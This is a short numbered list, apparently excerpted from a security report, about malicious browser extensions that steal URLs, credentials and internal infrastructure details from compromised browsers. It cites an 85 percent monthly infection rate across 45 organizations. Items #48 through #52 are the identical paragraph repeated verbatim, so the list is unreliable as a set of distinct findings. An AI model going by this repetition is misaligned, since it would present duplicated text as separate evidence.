- #48 Malicious browser extensions can steal information, and they can be a major source of data leakage. Every time a user opens a new webpage with a compromised browser, malicious browser extensions collect data. They are exfiltrating more than the basic details about every internal or external webpage that the user visits. They are also gathering highly sensitive information embedded in the URL. This information can include user credentials, customer data, and details about an organization’s internal APIs and infrastructure. Across the 45 companies in our sample, we determined that in every month we observed more than 85 percent of organizations were affected by malicious browser extensions—a finding that underscores the massive scale of these operations. Because infected browsers are often considered a relatively minor threat, they can go undetected or unresolved for days or even longer—giving adversaries more time and opportunity to carry out their campaigns.
- #49 Malicious browser extensions can steal information, and they can be a major source of data leakage. Every time a user opens a new webpage with a compromised browser, malicious browser extensions collect data. They are exfiltrating more than the basic details about every internal or external webpage that the user visits. They are also gathering highly sensitive information embedded in the URL. This information can include user credentials, customer data, and details about an organization’s internal APIs and infrastructure. Across the 45 companies in our sample, we determined that in every month we observed more than 85 percent of organizations were affected by malicious browser extensions—a finding that underscores the massive scale of these operations. Because infected browsers are often considered a relatively minor threat, they can go undetected or unresolved for days or even longer—giving adversaries more time and opportunity to carry out their campaigns.
- #50 Malicious browser extensions can steal information, and they can be a major source of data leakage. Every time a user opens a new webpage with a compromised browser, malicious browser extensions collect data. They are exfiltrating more than the basic details about every internal or external webpage that the user visits. They are also gathering highly sensitive information embedded in the URL. This information can include user credentials, customer data, and details about an organization’s internal APIs and infrastructure. Across the 45 companies in our sample, we determined that in every month we observed more than 85 percent of organizations were affected by malicious browser extensions—a finding that underscores the massive scale of these operations. Because infected browsers are often considered a relatively minor threat, they can go undetected or unresolved for days or even longer—giving adversaries more time and opportunity to carry out their campaigns.
- #51 Malicious browser extensions can steal information, and they can be a major source of data leakage. Every time a user opens a new webpage with a compromised browser, malicious browser extensions collect data. They are exfiltrating more than the basic details about every internal or external webpage that the user visits. They are also gathering highly sensitive information embedded in the URL. This information can include user credentials, customer data, and details about an organization’s internal APIs and infrastructure. Across the 45 companies in our sample, we determined that in every month we observed more than 85 percent of organizations were affected by malicious browser extensions—a finding that underscores the massive scale of these operations. Because infected browsers are often considered a relatively minor threat, they can go undetected or unresolved for days or even longer—giving adversaries more time and opportunity to carry out their campaigns.
- #52 Malicious browser extensions can steal information, and they can be a major source of data leakage. Every time a user opens a new webpage with a compromised browser, malicious browser extensions collect data. They are exfiltrating more than the basic details about every internal or external webpage that the user visits. They are also gathering highly sensitive information embedded in the URL. This information can include user credentials, customer data, and details about an organization’s internal APIs and infrastructure. Across the 45 companies in our sample, we determined that in every month we observed more than 85 percent of organizations were affected by malicious browser extensions—a finding that underscores the massive scale of these operations. Because infected browsers are often considered a relatively minor threat, they can go undetected or unresolved for days or even longer—giving adversaries more time and opportunity to carry out their campaigns.